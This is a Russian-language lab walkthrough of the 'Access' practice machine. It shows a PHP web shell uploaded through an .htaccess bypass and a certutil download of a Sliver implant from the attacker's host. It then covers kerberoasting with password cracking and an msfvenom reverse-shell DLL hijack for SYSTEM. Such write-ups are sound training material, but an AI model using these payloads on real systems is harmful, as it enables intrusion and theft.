About lab #
Данная машина имеет следующее описание: начальным вектором атаки должно быть веб-приложение с уязвимой функцией
загрузки файлов, что позволит нам поместить на сервер веб-шелл. Получив первоначальный доступ, нам предстоит
повысить привилегии до уровня пользователя svc_mysql, а затем, используя SeManageVolumePrivilege, добиться
системного доступа. Сложность оценивается, как very hard.
VPN или целевой хост.
NMAP #
Быстрое сканирование портов:
nmap -v -Pn -T4 -p- 192.168.111.187
Запустим детальное сканирование портов:
nmap -v -Pn -A -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49677,49704 192.168.111.187
Как видно на скриншоте веб сервер запущен на стандарном порту 80, а также что имя домена access.offsec.
WEB #
Уязвимая форма загрузки файлов расположена на вкладке покупки билетов.
Пробуем загрузить любое легитимное изображение.
FFUF #
Теперь необходимо узнать, в какую директорию загружаются файлы. Для этого воспользуемся ffuf:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.111.187/FUZZ
Загруженные файлы помещаются в /uploads.
Следующая задача — загрузить php-файл, который сервер выполнит как веб-шелл.
BurpSuite #
Bypass blacklist #
Сначала пробуем загрузить cmd.php, затем отправим запрос в Repeater BurpSuite для дальнейших попыток обхода
фильтров.
<?php system($_GET['cmd']); ?>
Начнем с простейшего: изменение расширения файла .php на другое, которое веб сервер тоже сможет
интерпретировать как php.
Возможные варианты: phtml, .php, .php3, .php4, .php5, .php6, .pht, .pHp, .Php, .phP
Этот метод не сработал.
Bypass whitelist #
Пробуем переименовать cmd.php в cmd.php.jpg. Файл загружается, но расширение .jpg остается, значит сервер его
не интерпретирует как php.
Применяем различные ухищрения с \x00, %00 и прочими символами. Как видно, все они безуспешны.
.htaccess #
Попробуем загрузить .htaccess, чтобы указать, что файлы с расширением .shell нужно обрабатывать как php:
AddType application/x-httpd-php .shell
Загрузка .htaccess успешна. Затем загружаем cmd.shell вместо cmd.php.
Теперь мы можем выполнять любые команды на сервере от пользователя svc_apache.
Sliver C2 #
Далее я буду использовать Sliver C2 для получения шеллов на машине.
Prepare beacon #
Сгенерируем имплант. Так как антивирус на этой машине отключен, можно без проблем использовать стандартный имплант. Сразу создадим интерактивный билд без обфускации.
sliver > generate --mtls 192.168.45.183:8888 --os windows --arch amd64 --skip-symbols -s /home/kali/Documents/ProvingGrounds/Access/mtls_8888.exe
Запустим listener
sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #2
Upload beacon #
Имея php шелл, можем скачать и запустить Sliver имплант на целевом сервере.
Сначала запустим на нашей машине простой веб сервер с помощью python.
python3 -m http.server
И из браузера запустим загрузку с помощью стандартной Windows утилиты certutil.exe.
http://192.168.127.187/uploads/cmd.shell?cmd=certutil.exe -urlcache -f http://192.168.45.177:8000/mtls_8888.exe mtls_8888.exe
Имплант загружен на целевую машину. Запустим его:
Execute beacon #
Запуск:
http://192.168.127.187/uploads/cmd.shell?cmd=mtls_8888.exe
Отлично! Теперь у нас есть полноценный шел с кучей других возможностей предоставляемых Sliver.
Privileges escalation to svc_mysql #
Enumeration #
Согласно описанию к этой машине, следующий этап — получить привилегии пользователя svc_mysql, затем эскалировать до системного уровня.
Так как в домене часто используются SPN для сервисных аккаунтов, попробуем kerberoasting.
Используем sharpview (аналог PowerView в Sliver) для поиска учетных записей со SPN:
sliver> sharpview -- Get-DomainUser -SPN
Аккаунт svc_mssql имеет SPN. Теперь попробуем сделать kerberoasting c помощью Rubeus.
sliver> rubeus kerberoast /simple
Сохраняем хеш и взламываем его hashcat:
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Получаем учетные данные: svc_mssql:trustno1.
Escalation #
Теперь когда мы знаем пароль от пользователя svc_mssql, нужно одним из способов запустить новый имплант от его
имени. Как и ранее сгенерируем новый имплант на другом порту mtls_8899.exe в Sliver и загрузим его на сервер,
например используя команду upload в текущей сессии.
runas (runas -d access.offsec -u svc_mssql -P trustno1 -p mtls_8899.exe) для запуска
новой сессии от пользователя svc_mssql, то в результате эксплоит будет завершаться с ошибкой,
как и попытки запустить стандартный shell.
Поэтому загрузим на сервер
RunasCs - Csharp and open version of windows builtin runas.exe
RunasCs.exe из этого репозитория:
Из текущей сессии от пользователя svc_apache запустим новый имплант, но уже с правами svc_mssql.
execute -o RunasCs.exe svc_mssql 'trustno1' 'C:\Temp\mtls_8899.exe' -t 0
Через пару секунд появляется новая сессия в Sliver.
Переключимся в новую сессию и заберем первый флаг.
Privileges escalation to system #
Enumeration #
Завершающий этап — это эксплуатация привелегии SeManageVolumePrivilege.
Проверим привилегии svc_mssql:
Отлично! Можно двигаться дальше.
Escalation #
SeManageVolumePrivilege позволяет управлять томами. В сочетании с определенной уязвимостью можно обеспечить
запись в C:\Windows, а затем воспользоваться техникой DLL Hijacking.
Компоненты:
- Эксплоит
SeManageVolumePrivilegeдля записи вC:\Windows.CsEnox/SeManageVolumeExploitC9616 DLL с реверс-шеллом(об этом далее)
Запускаем SeManageVolumeExploit.exe
sliver > execute -o SeManageVolumeExploit.exe
С этого момента любой пользователь в системе может изменять файлы в C:\Windows.
Подготовим DLL и загрузим его на машину.
dll, которую
можно сгенерировать в Sliver с ключем --format shared, поэтому воспользуемся msfvenom.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.177 LPORT=5555 -f dll -o tzres.dll
Переместим tzres.dll в C:/Windows/System32/wbem/tzres.dll.
Запустим новый listener с помощью netcat.
nc -nvl -p 5555
С помощью способа описанного здесь триггернем загрузку
SeManageVolumePrivilege to SYSTEM
tzres.dll.
Для этого надо выполнить команду systeminfo.
sliver > execute -o systeminfo
В результате мы получили новую сессию от системного пользователя:
Получаем финальный флаг:
Conclusion #
Мне понравилась эта машина, я узнал для себя некоторые вещи, но пришлось потратить больше времени, чем
требуется из-за того, что пришлось решать проблемы c runas и dll в Sliver.
Кратко список шагов которые мы предприняли:
- С помощью
nmapобнаружили веб-сервер и уязвимую функцию загрузки. - С помощью
.htaccessзаставили сервер воспринимать.shellфайлы какphp, загрузили имплантSliverи получили доступ от имениsvc_apache. - Провели
Kerberoastingнаsvc_mssql, взломали хеш и получили пароль. - Через
RunasCs.exeзапустили новый имплант от имениsvc_mssql. - С помощью эксплойта обеспечили запись в
C:\Windows, подменилиtzres.dllи вызвали реверс-шелл с привилегиямиSYSTEM.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!